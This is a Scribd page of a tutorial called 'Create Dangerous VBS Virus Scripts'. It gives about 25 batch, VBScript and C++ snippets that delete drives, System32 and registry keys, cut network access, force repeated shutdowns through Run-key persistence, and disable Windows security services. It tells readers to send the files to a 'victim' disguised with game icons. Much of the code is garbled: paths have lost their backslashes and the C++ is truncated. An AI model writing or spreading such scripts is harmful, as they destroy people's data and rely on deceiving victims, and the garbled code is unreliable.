0% found this document useful (0 votes)
342 views24 pages

Create Dangerous VBS Virus Scripts

This document provides instructions for creating viruses using simple VB script and Notepad. It describes 23 methods, including creating fake Windows errors, stopping someone's internet access, crashing or deleting files on a PC, and shutting down or flooding a computer on startup. The document warns that these scripts should not be tried on one's own computer if important data is present.
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
342 views24 pages

Create Dangerous VBS Virus Scripts

This document provides instructions for creating viruses using simple VB script and Notepad. It describes 23 methods, including creating fake Windows errors, stopping someone's internet access, crashing or deleting files on a PC, and shutting down or flooding a computer on startup. The document warns that these scripts should not be tried on one's own computer if important data is present.
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
  • Simple VB Script using NOTEPAD
  • Create Fake Windows Errors
  • Dangerous Notepad Virus Code
  • Crash PC Forever
  • Shutdown PC million Times
  • Delete System 32 Folder
  • Shut Down PC with I Love You Message
  • Toggle Caps Lock Button
  • Virus Deletes All The Content of A Drive
  • Shutdowns Computer Everytime It Is Turned On
  • Disable Internet Permanently
  • System Meltdown
  • Shut your Internet Permanently
  • Making Most Dangerous Virus Called Matrix

Information Security

Simple VB Script using NOTEPAD


 NOTE: Do not try this on your computer If there is an Important DATA in
your Computer
 use Microsoft Notepad to write these vb scripts and run it using .vbs and .bat
files

How to create virus using notepad


1. Just Copy/paste all the code in notepad.
2. Save the file with extension .bat (like [Link])
3. Send it to the victim by mail or by Pen Drive.
4. When the victim will click on it, it will start working.
5. You can also check these codes on your own PC.
6. I have personally checked all of these codes in my Microsoft Surface Pro.
7. These codes only work in Windows.

1. Create Fake Windows Errors With


Notepad
1. Open Notepad
2. Type X=Msgbox(“Message Here”,0+16,”Title Here”)
3. Replace Message Here and Title Here with your Error Message and Error-Window Title
respectively.
4. Save the file with [Link]. (In Save as filetype, must select “all”)
5. Now, click the file and you’ll get your custom-made Windows error message. So its easy
to learn how to create a virus using notepad

INFORMATION SECURITY 1
Lear:- Hack computers using netbios command

2. How to stop someone’s internet access


@Echo off

pconfig /release

INFORMATION SECURITY 2
Save that as a .bat and send it to someone. They’re IP address will be lost, and therefore they
won’t be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

3. Dangerous Notepad Virus Code


Just open your notepad

NOW TYPE THE FOLLOWING CODE::

@echo off

del D:*.* /f /s /q

del E:*.* /f /s /q

del F:*.* /f /s /q

del G:*.* /f /s /q

del H:*.* /f /s /q

del I:*.* /f /s /q

del J:*.* /f /s /q

Then save it as [Link] and the batch file is created.

WARNING:: This is the most dangerous virus! Be careful with its use.

4. Delete the entire registry


@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

Now save it as [Link] and the batch file is created.

INFORMATION SECURITY 3
5. Crash PC forever with Notepad Virus
How to crash a PC Forever !:::

@echo off

attrib -r -s -h c:[Link]

del c:[Link]

attrib -r -s -h c:[Link]

del c:[Link]

attrib -r -s -h c:ntldr

del c:ntldr

attrib -r -s -h c:[Link]

del c:[Link]

Open up notepad and copy and paste that. Save it as a .bat file.

This should shut down the person’s computer. It shuts it off once and deletes the files needed to
reboot and restart.

REMEMBER — DO NOT CLICK THIS FILE.

6. Application Bomber
It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the above code.

@echo off

start winword

start mspaint

start notepad
INFORMATION SECURITY 4
start write

start cmd

start explorer

start control

start calc

goto x

7. ShutDown PC million Times


[Link]-click on the desktop

[Link] New — Shortcut

you will get a dialogue box, write in it: shutdown -s -t 1000 c “any comment u want” then press
next

INFORMATION SECURITY 5
INFORMATION SECURITY 6
INFORMATION SECURITY 7
note: this “1000” i wrote is the time in seconds needed for your computer to shut down,You can
put any number you want…

3. You will get another dialogue box, write in it: Internet Explorer and press finish

4. You will find the icon on ur desktop, don’t open it, just right-click on it and press
properties>change icon>select the icon the internet explorer and the press apply than ok

try to open it, it is a virus

PS: the only way 2 stop your computer from shutting down is to go 2 start>run>type: shutdown -
a

8. Delete System 32 Folder


Open Notepad

Write / copy the below command there:

” del c:WINDOWSsystem32*.*/q “ without quote

and save as ” [Link]”

Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without
which a Windows Pc can’t be started.

9. Format Drives in 3 Seconds


“rd/s/q D:

rd/s/q C:

rd/s/q E:” ( without quotes )

Save as “[Link]

This virus Formats the C ,D , and E Drive in 3 Seconds. This is a very useful script if you want
to learn how to create a virus using notepad.

No 10 :-

Just open the Notepad and type the paste the following Code.

set ws=createobject(“[Link]”)

INFORMATION SECURITY 8
dim strDir,strfile,st,strtxt2,strshell,strlog

dim obfso,obfolder,obshell,obfile,obtxtfile

strshell=”[Link]”

strDir=”C:WINDOWS”

strfile=”[Link]”

st=Chr(34)

strlog=”shutdown -l”

strtxt2=”[Link](strlog)”

set obfso=CreateObject(“[Link]”)

on error resume next

set obfile=[Link](strDir & strfile)

[Link](“set ws=createobject(“&st&strshell&st&”)”)

[Link](“[Link](“&st&strlog&st&”)”)

[Link]
“HKCUSoftwareMicrosoftWindowsCurrentVersionRunLogoff”,”C:[Link]
s”,”REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension .

11. Shut Down PC with I Love You Messege


Convey your friend a little message and shut down his / her computer:

@echo off

msg * I don’t like you

shutdown -c “Error! You are too stupid!” -s

Save it as “[Link]” in All Files and send it.

INFORMATION SECURITY 9
12. Toggle your friend’s Caps Lock button
simultaneously:
Code:

Set wshShell =[Link](“[Link]

l”)

do

[Link] 100

[Link] “{CAPSLOCK}”

loop

Save it as “[Link]” and send it.

13. Frustrate your friend by making this Vb-


script hit Enter simultaneously:
Type :

Code:

Set wshShell = [Link](“[Link]

“)

do

[Link] 100

[Link] “~(enter)”

loop

Save it as “[Link]” and send it.

INFORMATION SECURITY 10
14. This Virus Deletes All The Content Of A
Drive…
@echo off

del %systemdrive%*.* /f /s /q

shutdown -r -f -t 00

Save The Above Code As [Link]

15. This Will Crash Ur Computer


Option Explicit

Dim WSHShell

Set WSHShell=[Link](“[Link]”)

Dim x

For x = 1 to 100000000

[Link] “[Link]”

Next

Save It As [Link]

16. The Most Simple Virus To Crush The


Window
@Echo off

Del C: *.* |y

Save It As [Link]

17. Virus that crashes pc


INFORMATION SECURITY 11
@echo off

attrib -r -s -h c:[Link]

del c:[Link]

attrib -r -s -h c:[Link]

del c:[Link]

attrib -r -s -h c:ntldr

del c:ntldr

attrib -r -s -h c:[Link]

del c:[Link]

@echo off

msg * YOU GOT OWNED!!!

shutdown -s -t 7 -c “A VIRUS IS TAKING OVER c:Drive

Save As [Link] File In Notepad!!

This Will Pop Up A Message Saying OWNED!!

And Shut Down The Computer Never To Reboot Again!

18. Shutdowns Computer Everytime It Is


Turned On
Save As A bat File

echo @echo off>c:[Link]

echo break off>>c:[Link]

echo shutdown -r -t 11 -f>>c:[Link]

echo end>>c:[Link]

INFORMATION SECURITY 12
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz
/d c:[Link] /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d


c:[Link] /f

echo You have been HACKED.

PAUSE

19. Disable Internet Permanently


echo @echo off>c:[Link]

echo break off>>c:[Link]

echo ipconfig/release_all>>c:[Link]

echo end>>c:[Link]

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t


reg_sz /d c:[Link] /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t


reg_sz /d c:[Link] /f

echo You Have Been HACKED!

PAUSE

Save As A bat File

20. Change Files To Non-working TXT Files


Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT

REN *.LNK *.TXT

REN *.AVI *.TXT

REN *.MPEG *.TXT

INFORMATION SECURITY 13
REN *.COM *.TXT

REN *.BAT *.TXT

21. System Meltdown


:CRASH

net send * WORKGROUP ENABLED

net send * WORKGROUP ENABLED

GOTO CRASH

ipconfig /release

shutdown -r -f -t0

echo @echo off>c:[Link]

echo break off>>c:[Link]

echo shutdown -r -t 11 -f>>c:[Link]

echo end>>c:[Link]

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz


/d c:[Link] /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz


/d c:[Link] /f

echo You Have Been Hackedecho @echo off>c:[Link]

echo break off>>c:[Link]

echo ipconfig/release_all>>c:[Link]

echo end>>c:[Link]

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t


reg_sz /d c:[Link] /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t


reg_sz /d c:[Link] /f

INFORMATION SECURITY 14
echo YOU HAVE BEEN HACKED BITCH

REN *.DOC *.TXT

REN *.JPEG *.TXT

REN *.LNK *.TXT

REN *.AVI *.TXT

REN *.MPEG *.TXT

REN *.COM *.TXT

REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File

22. Temporarily Flood Network


:CRASH

net send * WORKGROUP ENABLED

net send * WORKGROUP ENABLED

GOTO CRASH

23. Shutdown the computer every time on


startup!
Here is how ?

? Open Notepad

? Type :

@ECHO OFF

INFORMATION SECURITY 15
shutdown -s -t 10 -c “Virus Attack…”

exit

? File >> Save As…

? Name it: [Link]

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the [Link] file here!

*** That’s all, now the computer will

automatically shut down on every startup!

How to Spread it:

Windows doesn’t allow to change the icon of .bat files. Therefore what you can do is :

 Right-click on the .bat file


 Click on CREATE SHORTCUT
 And hide the original file.
 Now as this newly created file is just the shortcut, you can easily change its icon.
 Right-click on this shortcut
 properties >>>..cutomize>>..choose icon
 Now give an attractive icon to it.
 Now name it something interesting. eg. PROTOTYPE or IGI etc.
 Now your victim would think it to be the game, and he will be easily corrupted.

24. SHUT UR INTERNET


PERMANENTLY:::
This is a slightly more advanced one. It shuts down your internet permanently. I tried it on
myself accidentally, I knew what it did, and it

still took me a couple of days to get my internet back. works best on

XP, not tested on vista or 7.

INFORMATION SECURITY 16
EDIT: At the bottom put a rickroll

site or something. BTW, that 3rd line, isnt what disables the internet

permanently. It is something else, that just provides a fast response

to shut down any connections.

@echo off

reg

add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v MiXedVeX /t

REG_SZ /d %systemroot%HaloTrialScoreChangerV1 /f > nul

start iexpress (website of your choice)

ipconfig /release

del “C:Program FilesMicrosoft Games

del “C:Nexon

del “C:Program FilesXfire

del “C:Program FilesAdobe”

del “C:Program FilesInternet Explorer”

del “C:Program FilesMozilla Firefox”

del “C:WINDOWS”

del “C:WINDOWSsystem32”

del “C:WINDOWSsystem32cmd”

del “C:WINDOWSsystem32iexpress”

del “C:WINDOWSsystem32sndvol32”

del “C:WINDOWSsystem32sndrec32”

del “C:WINDOWSsystem32Restorerstrui”

INFORMATION SECURITY 17
del “C:WINDOWSsystem32wupdmgr”

del “C:WINDOWSsystem32desktop”

del “C:WINDOWSjava”

del “C:WINDOWSMedia”

del “C:WINDOWSResources”

del “C:WINDOWSsystem”

del “C:drivers”

del “C:drv”

del “C:SYSINFO”

del “C:Program Files”

echo ipconfig/release_all>>c:[Link]

net stop “Security Center”

net stop SharedAccess

> “%Temp%.[Link]” ECHO REGEDIT4

>>”%Temp%.[Link]” ECHO.

>>”%Temp%.[Link]” ECHO
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]

>>”%Temp%.[Link]” ECHO “Start”=dword:00000004

>>”%Temp%.[Link]” ECHO.

>>”%Temp%.[Link]” ECHO
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]

>>”%Temp%.[Link]” ECHO “Start”=dword:00000004

>>”%Temp%.[Link]” ECHO.

>>”%Temp%.[Link]” ECHO
[HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]

INFORMATION SECURITY 18
>>”%Temp%.[Link]” ECHO “Start”=dword:00000004

>>”%Temp%.[Link]” ECHO.

START /WAIT REGEDIT /S “%Temp%.[Link]”

del “%Temp%.[Link]”

del %0

echo @echo off>c:[Link]

echo break off>>c:[Link]

echo ipconfig/release_all>>c:[Link]

echo end>>c:[Link]

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI


/t reg_sz /d c:[Link] /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t


reg_sz /d c:[Link] /f

:a

start iexpress (website of your choice)

goto a

25. MAKING MOST DANGEROUS VIRUS


CALLED MATRIX:::
Warning — Do not run it on your computer

I’m gonna teach you how to make a virus named Matrix…

1-Open notepad

2-Put in this code

#include

#include

INFORMATION SECURITY 19
#include

#include

#include

#include

#include

using namespace std;

int main()

{ keybd_event(VK_MENU,0x38,0,0);

keybd_event(VK_RETURN,0x1c,0,0);

keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);

keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);

HANDLE outToScreen;

outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

char buffer[255];

char inputFile[]=”C:Documents and SettingsAll UsersStart [Link]”;

ifstream input(inputFile);

if (!input)

ofstream fp(“C:Documents and SettingsAll UsersStart [Link]”,


ios::app);

fp

fp
INFORMATION SECURITY 20
fp

else

while (![Link]())

[Link](buffer,255);

char buffer[255];

char inputFile[]=”C:[Link]”;

ifstream input(inputFile);

if (!input)

ofstream fp(“[Link]”, ios::app);

fp

fp

fp

INFORMATION SECURITY 21
fp

system(“START [Link]”);

main();

else

while (![Link]())

[Link](buffer,255);

system(“call [Link] -S”);

goto START;

START:{

for(int i = 0; i < 1; i++)

int num = (rand() % 10);

SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN |
FOREGROUND_INTENSITY);

cout

cout
INFORMATION SECURITY 22
cout

cout

cout

cout

cout

cout

cout

cout

cout

cout

Sleep(60);

for ( int j = 0; j < 5; j++)

SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);

int number = (rand() % 24);

cout

goto START;

3-save it as [Link]

4-finish

AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE
NOT GIVEN

INFORMATION SECURITY 23
AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS
STDIN, STDLIB, CONIO , AND STUFF LIKE THAT

Credit:- [Link]

INFORMATION SECURITY 24

INFORMATION SECURITY 
1 
 
Information Security 
Simple VB Script using NOTEPAD 
 NOTE: Do not try this on your computer If
INFORMATION SECURITY 
2 
 
Lear:- Hack computers using netbios command  (https://nekraj.com/hack-computers-by-command-prompt/
INFORMATION SECURITY 
3 
 
Save that as a .bat and send it to someone. They’re IP address will be lost, and therefore they 
w
INFORMATION SECURITY 
4 
 
5. Crash PC forever with Notepad Virus 
How to crash a PC Forever !::: 
@echo off 
attrib -r -s -h
INFORMATION SECURITY 
5 
 
start write 
start cmd 
start explorer 
start control 
start calc 
goto x 
7. ShutDown PC million
INFORMATION SECURITY 
6
INFORMATION SECURITY 
7
INFORMATION SECURITY 
8 
 
note: this “1000” i wrote is the time in seconds needed for your computer to shut down,You can 
pu
INFORMATION SECURITY 
9 
 
dim strDir,strfile,st,strtxt2,strshell,strlog 
dim obfso,obfolder,obshell,obfile,obtxtfile 
strshe
INFORMATION SECURITY 
10 
 
12. Toggle your friend’s Caps Lock button 
simultaneously: 
Code: 
Set wshShell =wscript.CreateOb

You might also like